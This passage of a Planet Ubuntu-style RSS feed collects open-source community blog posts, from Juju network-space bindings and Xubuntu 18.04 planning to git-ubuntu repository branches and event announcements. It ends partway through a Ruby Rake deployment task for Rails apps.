<p>We&#8217;ve also enabled Juju to make this kind of requests &#8211; it asks MAAS for machines that is connected to a space, or set of spaces. It then exposes this spaces to charms, so that each charm knows what kind of networks this application has on its disposal. This allows us to do &#8216;juju deploy keystone &#8211;bind public=public-space -n3&#8217;; deploy three keystones, connect them to a public-space, a space defined in MAAS. What VLAN will that be, which subnet or an IP, we do not care; the charm will get information from Juju about these &#8220;low level&#8221; terms (VLANs, IPs). We humans do not think of VLANs and subnets and IPs; at best we think in OSI layer 1 terms.</p>
<p>Sounds a bit complicated? Let&#8217;s flip it the other way around. What I can do now is define my application as &#8220;3 units of keystone, which use internal network for SQL, public network for exposing API, internal network for OpenStack&#8217;s internal communication and is also exposed on OAM network for management purposes&#8221; and this is precisely how we deploy OpenStack. In fact, the Juju bundle looks like this:</p>
<p><code>keystone:<br />
&nbsp;&nbsp;charm: cs:keystone<br />
&nbsp;&nbsp;num_units: 3<br />
&nbsp;&nbsp;bindings:<br />
&nbsp;&nbsp;&nbsp;&nbsp;"": oam-space<br />
&nbsp;&nbsp;&nbsp;&nbsp;public: public-space<br />
&nbsp;&nbsp;&nbsp;&nbsp;internal: internal-space<br />
&nbsp;&nbsp;&nbsp;&nbsp;shared-db: internal-space<br />
</code></p>
<p>Those who follow OpenStack development will notice that something similar has landed in OpenStack recently; routed provider networks. It&#8217;s the same concept, solving the same problem. It&#8217;s nice to see how Juju uses this out of the box.</p>
<p>Big thanks to MAAS, Juju, charms and OpenStack communities for doing this. It allowed us to deploy complex applications with a breeze, and therefore shifted our focus to bigger picture, IaaS modeling and some other, new challenges!</p>]]></description>
      <source url="http://ivoks.com/category/ubuntu/feed/">Ante Karamatić</source>
    </item>
    <item>
      <title>No Title Available</title>
      <link>https://carla-sella.blogspot.com/2018/02/blog-post.html</link>
      <guid isPermaLink="true">https://carla-sella.blogspot.com/2018/02/blog-post.html</guid>
      <pubDate>Sat, 03 Feb 2018 13:50:00 GMT</pubDate>
      <description><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPTo9V_gGem-79f_xmI9JYztYxHjcu8JaW57Xk_JeibNNWbZZ6Fv6lFF2bHIjLWPbrNnnM4asO-g9cuC2n2DMF9N2bdUp9tuayTNA-g4B1mtgX0K3h1XHSME7gTkTSSHMd1D03bAiflS8/s1600/gci_mentor+-+a2667f67-55ab-4c9b-8b41-df3c99eef6e8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="850" data-original-width="1100" height="494" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPTo9V_gGem-79f_xmI9JYztYxHjcu8JaW57Xk_JeibNNWbZZ6Fv6lFF2bHIjLWPbrNnnM4asO-g9cuC2n2DMF9N2bdUp9tuayTNA-g4B1mtgX0K3h1XHSME7gTkTSSHMd1D03bAiflS8/s640/gci_mentor+-+a2667f67-55ab-4c9b-8b41-df3c99eef6e8.jpg" width="640" /></a></div>
<br />]]></description>
      <source url="http://carla-sella.blogspot.it/rss.xml">Carla Sella</source>
    </item>
    <item>
      <title>Preparing for Xubuntu 18.04</title>
      <link>https://open.knome.fi/2017/10/24/preparing-xubuntu-18-04/</link>
      <guid isPermaLink="true">https://open.knome.fi/2017/10/24/preparing-xubuntu-18-04/</guid>
      <pubDate>Tue, 24 Oct 2017 06:55:22 GMT</pubDate>
      <description><![CDATA[<p>Xubuntu 17.10 was just released, but planning for Xubuntu 18.04 – the next long-term support (LTS) release – began quite some time ago. For our users, LTS releases mostly mean a system that is going to be more stable and supported for longer. For us contributors, this means a bunch of things.</p>
<p>As a repercussion of the longer support cycle and the sought out stable nature of the LTS releases, we do not want to introduce (too many) new components, libraries or other technical changes, as each change has regression potential. This is also a delicate balancing act between getting bugs fixed but keeping enough things as they are.</p>
<p>The LTS releases are also kind of an flagship for Xubuntu – they are the recommended releases for most users and while we can land stable release updates (SRU) to fix bugs and other major flaws, the scope of changes is limited. Since the next LTS release will be released two years later, we want to get things right.</p>
<p>For contributors – particularly us non-developer kinds – this is an ideal situation to revisit and improve artwork and documentation amongst other things. Here are some things I am going to be working on for the next months to get the new LTS look and feel more polished than the previous one.</p>
<h2>Branding – or, updated logo</h2>
<p>In an <a href="https://open.knome.fi/2017/10/20/refreshing-xubuntu-logo/">earlier article</a> I wrote about the refreshed Xubuntu logo – the why and the what. Here&#8217;s the other what.</p>
<p>Practically this change means we will have to touch every package with Xubuntu branding and make sure they use the updated logo. For the most part this is trivial, but landing the changes requires time and some co-operation from the team.</p>
<p>We will also need to make sure the new logo lands on the official website, all related sites and social media before the release – ideally before the first milestone release. Last but not least, we need to communicate this change to our official vendors and provide them the new logo as soon as possible so they can start updating their products.</p>
<h2>Wallpapers</h2>
<p>As with any release, the LTS release also needs a wallpaper. This needs to be drafted, proposed and polished. The process usually takes from a few days to a few weeks. We&#8217;ll also want to land the wallpaper relatively early to be able to fix potential issues with it before release.</p>
<p>The Xubuntu team has organized a community wallpaper contest for the last two LTS releases and it&#8217;s very likely we will be organizing one for 18.04 as well. I was not completely satisfied in how we ran the contest last time, and I&#8217;ve started a discussion to review our policies already, as getting comments from the team can sometimes be quite slow. While the community wallpaper package does not serve any defaults, we will need to end the contest well before the related freezes to double check license issues (like attribution) and leave enough time for uploading them.</p>
<h2>Documentation</h2>
<p>Even if there is no need to rewrite sections – or the whole documentation – this time around, there are several tasks for the documentation team as well.</p>
<p>First of all, it&#8217;s time to refresh both the installer slideshow and the website feature tour. Nothing has been planned yet, but both of these are at least two years old and in need of a facelift – both visually and in terms of content.</p>
<p>We haven&#8217;t had to touch the documentation much in a long time because the main software selection and features have stayed the same. On the other hand this means that the documentation might be somewhat stale. This might be hard to identify – and possibly even harder to get stale sections refreshed – but we definitely should have a look at our offering before the release. To do this, we need to consider the following questions:</p>
<ul>
<li>Does the documentation provide a good overview of the system for new users?</li>
<li>Does the documentation help users get started?</li>
<li>Does the documentation answer the most common questions?</li>
<li>Does the documentation help get the most common (non-hardware specific) issues solved?</li>
<li>Does the documentation help more advanced users – including those that are familiar with other Linux operating systems but not Xubuntu?</li>
<li>Is all information in the documentation up-to-date?</li>
<li>Does the documentation need extending in any area?</li>
<li>Can we extend the documentation in a useful way without making it too verbose?</li>
</ul>
<h2>But wait! There&#8217;s more!</h2>
<p>My work item list for Xubuntu 18.04 doesn&#8217;t end here. You can find all of the registered work items on our <a href="https://dev.xubuntu.org/">status tracker</a>.</p>
<p>It&#8217;s worth noting that not all of the work items in the status tracker have an assignee. This means we are still looking for people who can help us make Xubuntu 18.04 a greater release than its predecessors. <em>Maybe you can volunteer and pick up a work item or two?</em></p>
<p>In addition to the work items, there are a few other activities that we need help with:</p>
<ul>
<li><strong>Test.</strong> By testing the daily and milestone ISOs you can help us make sure there aren&#8217;t (so many) annoying bugs in the final release.</li>
<li><strong>Take part in the community wallpaper contest</strong>. This is not open yet, but once it is, submit your work. You can win and get some swag as well as your work included in an official Xubuntu release!</li>
<li><strong>Submit us ideas for improving and extending our documentation.</strong> I mentioned some of the questions we have to ask ourselves with the documentation. Can you help us answer these and even work with us on the writing and proofreading?</li>
</ul>
<p>Even these tasks just scratch the surface of what needs to be done – and what can be done.</p>
<p>Get your hands dirty <em>now</em> and <a href="https://xubuntu.org/contribute/">read more about getting involved with Xubuntu</a>, subscribe to the <a href="https://lists.ubuntu.com/mailman/listinfo/xubuntu-devel">Xubuntu development discussion mailing list</a> and join our development IRC channel <a href="irc://chat.freenode.net/xubuntu-devel">#xubuntu-devel</a> which is active on most days.</p>
<p class="post-serie">This article is part of the article series <a href="https://open.knome.fi/serie/a-day-in-an-open-source-project/" rel="tag">A day in an open source project</a>.</p>]]></description>
      <source url="http://open.knome.fi/category/ubuntu/feed/">Pasi Lallinaho</source>
    </item>
    <item>
      <title>freenode #live</title>
      <link>http://nhandler.com/blog/2017/08/26/freenode-live.html</link>
      <guid isPermaLink="true">http://nhandler.com/blog/2017/08/26/freenode-live.html</guid>
      <pubDate>Sat, 26 Aug 2017 00:00:00 GMT</pubDate>
      <description><![CDATA[<p>For those of you who might not be aware, <a href="https://freenode.net/">freenode</a> is an IRC network that caters to free and open source projects. We have had a goal for a number of years to hold <a href="https://freenode.live/">freenode #live</a>, an in-person conference where our staff, projects, FOSS supporters, and IRC enthusiasts could all get together in one place. Thanks to some very generous sponsorship, primarily by <a href="https://www.privateinternetaccess.com/">Private Internet Access</a>, this conference is finally happening! The first ever freenode #live conference will take place October 28 - 29, 2017 in Bristol, United Kingdom.</p>

<p>This conference will only be a success with support from the community. Luckily, there are many ways to help out.</p>

<ol>
  <li><a href="https://freenode.live/conference/fn-live17/register/new">Register</a> to attend. We are working on putting together a great lineup of speakers that you will not want to miss. Registering allows us to finalize many logistical details surrounding the event to make sure everything runs smoothly.</li>
  <li>Do you represent a FOSS group? We would love to have your group present at the event. There will be an exhibitor hall where you can advertise your organization and attract new users and contributors.</li>
  <li><a href="https://freenode.live/conference/fn-live17/program/proposal/new">Submit</a> a talk. Our call for proposals is still open. New and experienced speakers are welcome. Feel free to contact <a href="mailto:2017-team@freenode.live">2017-team@freenode.live</a> and we would be happy to work with you to come up with a talk idea or provide feedback.</li>
  <li>If you or your company are interested in helping to sponsor this event, please reach out to <a href="mailto:exhibit@freenode.live">exhibit@freenode.live</a>. We have opportunities for budgets of all sizes.</li>
</ol>

<p>I look forward to hopefully seeing you at freenode #live!</p>]]></description>
      <source url="http://nhandler.com/blog/feed.ubuntu.xml">Nathan Handler</source>
    </item>
    <item>
      <title>More on the imported repositories</title>
      <link>http://www.justgohome.co.uk/blog/2017/08/more-on-the-imported-repositories.html</link>
      <guid isPermaLink="true">http://www.justgohome.co.uk/blog/2017/08/more-on-the-imported-repositories.html</guid>
      <pubDate>Mon, 21 Aug 2017 16:53:44 GMT</pubDate>
      <description><![CDATA[<p><img alt="git ubuntu illustration" src="http://www.justgohome.co.uk/blog/2017/07/git-ubuntu.png" /></p>
<p>This is the third post in our series on our git workflow tooling in
Ubuntu.  There is an <a href="http://www.justgohome.co.uk/blog/2017/07/developing-ubuntu-using-git.html#multi-post-index">index of all our planned posts in the first
post</a>.
As mentioned there, it is important to keep in mind that <a href="http://www.justgohome.co.uk/blog/2017/07/developing-ubuntu-using-git.html#experimental-status">the tooling
and implementation are still highly
experimental</a>.</p>
<p>Nish introduced our imported repositories <a href="https://naccblog.wordpress.com/2017/08/01/git-ubuntu-clone/">using the <code>git ubuntu clone</code>
wrapper</a>, as well
as using git directly.</p>
<p>I'd like to go into a little more detail about what we're actually importing.</p>
<p>Automatic imports watch for new source publications in Launchpad. When they
occur, the importer will push new commits and tags to match those publications
and move up branch pointers automatically. All branches maintained by the
importer are fast-forwarding. A temporary exception to this is during our
experimental stage, before we release a 1.0. Until then, we may re-import
packages as we work on the importer.</p>
<p>Our importer maintains one repository per source package in
<a href="https://code.launchpad.net/~usd-import-team/+git">lp:~usd-import-team</a> for
now. Eventually we expect to make these available under an alias of the form
<code>lp:ubuntu/+source/&lt;package&gt;</code>.</p>
<p>The imported trees correctly reflect the ancestry of individual source
packages. This includes both Debian and Ubuntu history, with Ubuntu history
correctly parented from the appropriate points in Debian's history.</p>
<p>There is a branch corresponding to each Debian and Ubuntu series (eg. <code>sid</code>,
<code>stretch</code>, <code>xenial</code>, <code>artful</code>), and in the case of Ubuntu, pocket (eg.
<code>trusty-updates</code>, <code>xenial-security</code>, <code>artful-proposed</code>). We’ll cover details on
how exactly these work, and the logic behind their design, in future posts.</p>
<h2>Single source of truth</h2>
<p>A goal of the importer is to reflect the single source of truth, which
we define as Launchpad's source publication history. Therefore, the only
source of the imported tags and branches must come via the importer and
not directly from uploaders. Only the importer can push to the imported
repositories. We do have a mechanism to preserve "rich history" provided
by git committers that in any other project they'd be able to push
directly; more on this in a future post.</p>
<p>Note that this methodology means that upstream's commit graphs are typically
not made available by the importer. You won't find individual upstream commits
by looking in our imported respository against a particular package. We may
decide to make this possible in the future by relying on the "rich history"
import mechanism combined with the use of our parenting invariant. More on this
in a future post.</p>
<p>We're trying hard to make sure that there is no case where a source package
upload can cause the importer to fail. We're treating any failure to import a
source package as a bug in our importer. The importer should be able to import
anything that was ever uploaded to Debian or Ubuntu.</p>
<h2>Available branches</h2>
<p>As Nish mentioned, there are two main types of branches:</p>
<ol>
<li>Devel branches: the branches on which to start development.</li>
<li>Pocket branches: understanding the current state of the archive.</li>
</ol>
<p>There are also "applied" versions of these branches, which provide quilt
patches already applied.</p>
<h3>The "devel" branches</h3>
<p>Ubuntu developers are used to using <code>pull-lp-source</code> to grab the latest version
of a package source on which to base development. We want to make <code>git clone</code>
work instead.</p>
<p>What is the correct version on which to base development? In Ubuntu,
this can vary depending on the exact publication state. Usually you want
the highest version published in the development release, or the highest
version published in a particular series for an
<a href="https://wiki.ubuntu.com/StableReleaseUpdates">SRU</a>. For this purpose,
the git importer maintains <code>devel</code> branches. For the development
release, this is just called <code>ubuntu/devel</code>. For a stable release, it is
<code>ubuntu/&lt;codename&gt;-devel</code>; for example: <code>ubuntu/xenial-devel</code>.</p>
<p>This is intended to save developers the effort of figuring out which pocket to
use (between the release pocket, <code>proposed</code>, <code>updates</code> and <code>security</code>) and
saves scripts from having to figure it out themselves.</p>
<p>One exception to this is in the rare case that a version in the proposed pocket
has been discarded, such as a failed SRU. The importer only follows new version
publications and does not follow deletions. In this case you may wish to start
directly from a pocket branch (described below). Alternatively, before you
begin you could start from the devel branch and use <code>git revert</code> to add a
commit reversing the published change in line with the deletion. The
infrastructure doesn’t care which method you choose.</p>
<h3>Pocket branches</h3>
<p>A different use case is to look at the git branches to understand what the
archive looks like today, or how it looked in the past.</p>
<h4>Ubuntu’s pockets</h4>
<p>First let’s review what Ubuntu pockets actually are.</p>
<p>In Ubuntu, the archive for a particular release (“series”) is divided up into a
number of “pockets”, which correspond to the entries in your <code>sources.list</code>
file:</p>
<ol>
<li>
<p>The release pocket. This pocket has no specific name. During
    development, the release pocket is where package eventually land.
    Upon release, this pocket is frozen and never changes again.</p>
</li>
<li>
<p>The “proposed” pocket. This pocket is used for two different
    purposes depending on whether the series is in development or has
    been released. During development, this is the staging area in which
    packages are built, tested and checked for installability before
    they land. When all tests pass, packages are moved into the release
    pocket in a process called <a href="https://wiki.ubuntu.com/ProposedMigration">proposed
    migration</a>. After
    release, the proposed pocket is used for a different purpose: manual
    user verification of proposed stable release updates through the
    <a href="https://wiki.ubuntu.com/StableReleaseUpdates#Verification">SRU verification
    process</a>.
    When a package passes SRU verification, the package is moved into
    the updates pocket, rather than the release pocket is as the case
    during development.</p>
</li>
<li>
<p>The “updates” pocket. Only used for stable releases, this pocket is
    used to issue recommended updates to users during the lifetime of a
    stable release.</p>
</li>
<li>
<p>The “security” pocket. Only used for stable releases, this pocket is
    used to issue security updates to users during the lifetime of a
    stable release. Updates to the security pocket are always also
    copied into the updates pocket.</p>
</li>
</ol>
<p>The name of a pocket is in the form <code>&lt;series&gt;-&lt;type&gt;</code>, such as
<code>xenial-security</code> and <code>artful-updates</code>. As an exception, the release pocket is
the series with no suffix, such as <code>trusty</code>.</p>
<h4>Importing pockets into git</h4>
<p>The importer maintains a branch for each pocket, in the form <code>ubuntu/&lt;pocket
name&gt;</code>, such as <code>ubuntu/trusty</code> (the Trusty release pocket),
<code>ubuntu/xenial-security</code>, <code>ubuntu/artful-proposed</code> and so on.</p>
<h3>Combining pocket branches: the devel branches</h3>
<p>To support the archeology use case, the importer must maintain these pocket
branches. However, for the ongoing development use case, it's far more
convenient for developers to use our "devel branches".</p>
<p>We do this by making use of our "parenting invariant", which we’ll describe in
more detail in a future post. For now, it’s sufficient to understand that the
devel branches are the points at which you should start development, and the
pocket branches can be used to examine the current state of the various pockets
in the Ubuntu archive.</p>
<h3>Applied branches</h3>
<p>For our drive-by contributor use case, it would be nice if these drive-by
contributors didn't have to understand quilt. It's reasonable to expect that,
straight after running <code>git clone</code> from Ubuntu and selecting an appropriate
branch, the tree that appears is exactly the source used to build the
corresponding Ubuntu package. For drive-by contributors unfamiliar with Debian
packaging, this means that quilt patches should appear applied. Our "applied"
branches and tags provide this function.</p>
<p>The non-applied branches are the normative imports from Debian and Ubuntu
developer uploads. They are intended to represent the source package exactly
and without any derived components. This means that quilt patches appear in
<code>debian/patches/</code> as normal, but are not applied.</p>
<p>From one of these import commits, all quilt patches (if any) are applied one by
one. Each application results in a separate git commit. A final commit with an
identical tree is added for branch fast-forwarding purposes, and these commits
form the line of the "applied" branch.</p>
<p>Consequently, you can switch to an "applied" branch, or corresponding tag, and
you'll see the state of the Ubuntu source package with all patches applied and
as if quilt doesn't exist. Drive-by contributors can then file pull requests
against such a branch (eg. <code>applied/ubuntu/devel</code>) and bots and sponsors will
be able to understand exactly what is being requested.</p>
<p>It will often be necessary to pull out requested changes into a separate
quilt patch, add <a href="http://dep.debian.net/deps/dep3/">dep3</a> headers, and
possibly squash the requested change into an existing quilt patch,
before uploading. We hope to automate some of this in the future, but
for now this is left as a task for sponsors who accept git workflow
upload requests. Contributors can either submit pull requests against
the applied branches this way, or fold up into quilt patches themselves
and submit pull requests against the non-applied branches instead.</p>
<p>In the future, it may be desirable for all Ubuntu developers to forget quilt
and live entirely inside git-based patchsets. For the time being, we want to
support both traditional and git-based workflows. So both applied and
non-applied branches are maintained by the importer.</p>
<p>It is a matter of debate as to whether the non-applied or applied branches
should appear by default. We are open to further discussion on this.</p>
<h2>Available tags</h2>
<p>The first time the importer imports a new version of a source package, it tags
it using an "import tag", which is of the form <code>import/&lt;version&gt;</code>. The
patches-applied equivalent is derived, and the result is tagged in the form
<code>applied/&lt;version&gt;</code>.</p>
<p>Pocket copies, such as from Debian into Ubuntu via autosync, are not tagged;
the pocket branches are moved forward with new commits (with identical trees)
as necessary.</p>
<p>Since not all valid package version strings are valid git tag names, the tag
names are escaped using the same rules as specified in
<a href="http://dep.debian.net/deps/dep14/">dep14</a>, Debian's recommendation on git
repository layouts.</p>
<p>We use tags of the form <code>upload/&lt;version&gt;</code> to supply rich history for adoption
into the imported commit graph. This cannot be pushed directly; more on this in
a future post.</p>
<p>To support the preservation of orig tarballs using pristine tar, the importer
also tags <code>upstream/&lt;version&gt;</code>.</p>
<h2>pristine-tar and the dsc branches</h2>
<p>So that the git repositories contain all the information needed to reconstruct
an imported source package, the importer also stores the orig tarballs using
pristine-tar and the signed dsc file in separate branches. Orig tarballs are
automatically extracted on package build as needed by the <code>git ubuntu build</code>
wrapper. This means that <code>git ubuntu clone</code> followed by <code>git ubuntu build</code>
should Just Work.</p>
<p>Orig tarballs between Debian and Ubuntu may vary in exceptional cases, so the
importer keeps these properly namespaced in <code>debian/pristine-tar</code> and
<code>ubuntu/pristine-tar</code> branches to avoid collisions, and likewise for the dsc
files <code>debian/dsc</code> and <code>ubuntu/dsc</code>. pristine-tar doesn't currently support
multiple branches; it assumes a single branch of <code>pristine-tar</code>. Our <code>git
ubuntu build</code> wrapper works around this for now. In the future I'd like for us
to drive getting parameterised branch name support into <code>pristine-tar</code> upstream
to support our use case.</p>
<h2>Conclusion</h2>
<p>In order to provide a full understanding of what we're doing to those
developers interested in all the detail, I've tried to cover all the git
reference objects presented by our importer in this post today.</p>
<p>In our next post, Nish will continue discussing the <code>git ubuntu</code> tooling by
introducing <code>git ubuntu tag</code>.</p>]]></description>
      <source url="http://www.justgohome.co.uk/blog/feeds/tag/planet-ubuntu.atom.xml">Robie Basak</source>
    </item>
    <item>
      <title>1er Festival Universitario de Tecnologías Libres</title>
      <link>https://cesarsevilla.wordpress.com/2016/10/28/1er-festival-universitario-de-tecnologias-libres/</link>
      <guid isPermaLink="true">https://cesarsevilla.wordpress.com/2016/10/28/1er-festival-universitario-de-tecnologias-libres/</guid>
      <pubDate>Fri, 28 Oct 2016 22:09:25 GMT</pubDate>
      <description><![CDATA[<p><a href="https://cesarsevilla.wordpress.com/wp-content/uploads/2016/10/banner2-1024x512.jpg"><img data-attachment-id="983" data-permalink="https://cesarsevilla.wordpress.com/2016/10/28/1er-festival-universitario-de-tecnologias-libres/banner2-1024x512/" data-orig-file="https://cesarsevilla.wordpress.com/wp-content/uploads/2016/10/banner2-1024x512.jpg" data-orig-size="1024,512" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="banner2-1024&amp;#215;512" data-image-description="" data-image-caption="" data-large-file="https://cesarsevilla.wordpress.com/wp-content/uploads/2016/10/banner2-1024x512.jpg?w=1024" class="aligncenter wp-image-983 size-full" src="https://cesarsevilla.wordpress.com/wp-content/uploads/2016/10/banner2-1024x512.jpg?w=1108" alt="banner2-1024x512"   srcset="https://cesarsevilla.wordpress.com/wp-content/uploads/2016/10/banner2-1024x512.jpg 1024w, https://cesarsevilla.wordpress.com/wp-content/uploads/2016/10/banner2-1024x512.jpg?w=150&amp;h=75 150w, https://cesarsevilla.wordpress.com/wp-content/uploads/2016/10/banner2-1024x512.jpg?w=300&amp;h=150 300w, https://cesarsevilla.wordpress.com/wp-content/uploads/2016/10/banner2-1024x512.jpg?w=768&amp;h=384 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></a>A petición del público traemos para todos ustedes a través de la Unidad Territorial &#8211; Fundacite Zulia (UTZ) el “Festival Universitario de Tecnologías Libres”, el mismo tiene como objetivo: Impulsar el crecimiento y desarrollo del Software Libre y Código Abierto dentro del ámbito Educativo Institucional en la Región Occidental, para lograr la independencia Científica–Tecnológica del software, apoyándose en los Decretos Nacionales y leyes que ampara el estado venezolano.</p>
<p>Este Festival, se llevará a cabo en el Auditorio de la Universidad José Gregorio Hernández los días viernes 11/11/16 de 8:00 am / 12:00 m &#8211; 2:00 pm / 5:00pm y el sábado 12/11/16 de 9:00 am / 12:00 m.</p>
<p>El día Viernes realizaremos 5 Charlas técnicas y para el día Sábado realizaremos 2 charlas y una Jornada de Instalación de Sistemas Operativos Libres y/o Herramientas Libres.</p>
<p>Es importante resaltar que contaremos con varios representantes a nivel nacional, entre ellos Representante de la Cámara Venezolana de la industria Tecnológica, del Laboratorio Vivencial, de la Comunidad de Ubuntu-ve, y de diferentes organizaciones con el propósito de presentar los diferentes proyectos tecnológicos hechos con herramientas libres.</p>
<p>Si deseas participar en dicha actividad recuerda que debes registrarte a través del siguiente enlace: <a href="https://www.eventbrite.es/e/entradas-festival-universitario-de-tecnologias-libres-2016-27283438499">https://www.eventbrite.es/e/entradas-festival-universitario-de-tecnologias-libres-2016-27283438499</a></p>
<p>Si deseas obtener mayor información, puedes contactarme a través del correo <a href="mailto:csevilla@fundacite-zulia.gob.ve">csevilla@fundacite-zulia.gob.ve</a></p>]]></description>
      <source url="https://cesarsevilla.wordpress.com/category/ubuntu/feed/?mrss=off">Cesar Sevilla</source>
    </item>
    <item>
      <title>A week ago …</title>
      <link>https://blogs.fsfe.org/myriam/2016/06/08/a-week-ago/</link>
      <guid isPermaLink="true">https://blogs.fsfe.org/myriam/2016/06/08/a-week-ago/</guid>
      <pubDate>Wed, 08 Jun 2016 20:44:39 GMT</pubDate>
      <description><![CDATA[<p>my cat Filoue turned 15. She survives her nephew Stupsi, who sadly left us earlier this year.<a href="http://blogs.fsfe.org/myriam/files/2016/06/DSC_0040.jpg"><img class="alignnone size-medium wp-image-767" src="http://blogs.fsfe.org/myriam/files/2016/06/DSC_0040-300x199.jpg" alt="" width="300" height="199" srcset="https://blogs.fsfe.org/myriam/files/2016/06/DSC_0040-300x199.jpg 300w, https://blogs.fsfe.org/myriam/files/2016/06/DSC_0040-1024x680.jpg 1024w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>This reminds me how long I contribute to KDE already <img src="https://s.w.org/images/core/emoji/12.0.0-1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> She has been sitting next to the keyboard purring on almost everything I did in the last 15 years.</p>]]></description>
      <source url="http://blogs.fsfe.org/myriam/?feed=rss2">Myriam Schweingruber</source>
    </item>
    <item>
      <title>Ask Ubuntu moderator election is now underway!</title>
      <link>https://unbrokenspectrum.wordpress.com/2016/06/07/ask-ubuntu-moderator-election-is-now-underway/</link>
      <guid isPermaLink="true">https://unbrokenspectrum.wordpress.com/2016/06/07/ask-ubuntu-moderator-election-is-now-underway/</guid>
      <pubDate>Tue, 07 Jun 2016 16:19:04 GMT</pubDate>
      <description><![CDATA[<p>We are in the midst of our <a href="http://askubuntu.com/election/5">5th moderator election</a> to add more firepower to our existing mod crew.</p>
<p>In the 6 years that Ask Ubuntu has been around, nearly 230,000 questions and 300,000 answers have been posted on the site, with the daily traffic clocking a whopping 487k visits as of now.</p>
<p>These numbers will only go up from here and to support this growing community, we are expanding our moderator team to accommodate two more. As is the policy with Stack Exchange network of sites, the new moderators will be added to the existing team and not replace them.</p>
<p>If you have a minimum of 300 reputation on Ask Ubuntu and think you can do a good job, consider nominating yourself for the role. The nomination phase itself runs for 7 days, followed by a week of primaries and then the actual election. People with 150 reputation are eligible for voting and I encourage them to vote for candidates that they think are most suitable for the role.</p>
<p>If you have any questions about the election process, you can <a href="http://meta.askubuntu.com/questions/ask?tags=discussion%20election">ask them on meta</a>. Discussions about the election can be had in the <a href="http://chat.stackexchange.com/rooms/40773/2016-ask-ubuntu-moderator-election">chat room</a> too.</p>
<p>If mod work is not your cup of tea but you&#8217;re still looking for a way to help, you can always help us answer the incoming new questions. <a href="http://askubuntu.com/?tab=featured">Featured questions</a> would be a good place to start.</p>
<hr />
<p>UPDATE:</p>
<p>Ask Ubuntu moderator election 2016 is now over and the following community members have been elected as moderators:</p>
<ul>
<li><a href="http://askubuntu.com/users/85695/terdon">terdon</a></li>
<li><a href="http://askubuntu.com/users/10616/thomas-w">Thomas W.</a></li>
</ul>]]></description>
      <source url="https://unbrokenspectrum.wordpress.com/category/planet-ubuntu/feed/?mrss=off">Barneedhar</source>
    </item>
    <item>
      <title>Easy Rake-based Deployment for Git-hosted Rails Apps</title>
      <link>http://ben-collins.blogspot.com/2016/03/easy-rake-based-deployment-for-git.html</link>
      <guid isPermaLink="true">http://ben-collins.blogspot.com/2016/03/easy-rake-based-deployment-for-git.html</guid>
      <pubDate>Fri, 25 Mar 2016 17:54:00 GMT</pubDate>
      <description><![CDATA[I searched a lot of places for an easy way to automate my deployments for <a href="https://openstrokes.com">OpenStrokes</a>, a website I've been working on. Some things were just too complex (capistrano) and some were way too simple (StackOverflow answers that didn't do everything, or didn't check for errors).<br />
<br />
So, as most people do, I wrote my own. Hopefully this short rake task can help you as well. This assumes that your application server has your app checked out as a clone of some git repo you push changes to and that you are running under passenger. When I want to deploy, I log in to my production server, <code>cd</code> to my app repo, and then run:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>rake myapp:deploy</code></pre><br />
For just strictly view updates, it completes in 3 seconds or less. There are several things it does, in addition to checking for errors:<br />
<br />
<ul><li>Checks to make sure the app's git checkout isn't dirty from any local edits.</li>
<li>Fetches the remote branch and checks if there are any new commits, exits if not.</li>
<li>Tags the current production code base before pulling the changes.</li>
<li>Does a git pull with fast-forward only (to avoid unexpected merging).</li>
<li>Checks if there are any new gems to install via bundle (checks for changes in Gemfile and Gemfile.lock).</li>
<li>Checks if there are any database migrations that need to be done (checks for changes to db/schema.db db/migrations/*).</li>
<li>Checks for possible changes to assets and precompiles if needed (checks Gemfile.lock and app/assets/*).</li>
<li>Restarts passenger to pick up the changes.</li>
<li>Does a HEAD request on / to make sure it gets an expected 200 showing the server is running without errors.</li>
</ul><br />
The script can also take a few arguments:<br />
<br />
<ul><li><code>:branch</code> Git branch, defaults to master</li>
<li><code>:remote</code> Git remote, defaults to origin</li>
<li><code>:server_url</code> URL for HEAD request to check server after completion</li>
</ul><br />
Note, if the task encounters an error, you have to manually complete the deploy. You should not rerun the task.<br />
<br />
Any finally, here is the task itself. You can save this to <code>lib/tasks/myapp.rb</code><br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code># We can't use Rake::Task because it can fail when things are mid
# upgrade

require "net/http"

def do_at_exit(start_time)
  puts "Time: #{(Time.now - start_time).round(3)} secs"
end

def start_timer
  start_time = Time.now
  at_exit { do_at_exit(start_time) }
end

namespace :myapp do
  desc 'Deployment automation'
  task :deploy, [:branch, :remote, :server_url] do |t, args|
    start_timer

    # Arg supercedes env, which supercedes default
    branch = args[:branch] || ENV['DEPLOY_BRANCH'] || 'master'
    remote = args[:remote] || ENV['DEPLOY_REMOTE'] || 'origin'
    server_url = args[:server_url] || ENV['DEPLOY_SERVER_URL'] || 'http://localhost/'

    puts "II: Starting deployment..."

    # Check for dirty repo
    unless system("git diff --quiet")
      puts "WW: Refusing to deploy on a dirty repo, exiting."
      exit 1
    end

    # Update from remote so we can check for what to do
    system("git fetch -n #{remote}")

    # See if there's anything new at all
    if system("git diff --quiet HEAD..#{remote}/#{branch} --")
      puts "II: Nothing new, exiting"
      exit
    end

    # Tag this revision...
    tag = "prev-#{DateTime.now.strftime("%Y%m%dT%H%M%S")}"
    system("git tag -f #{tag}")

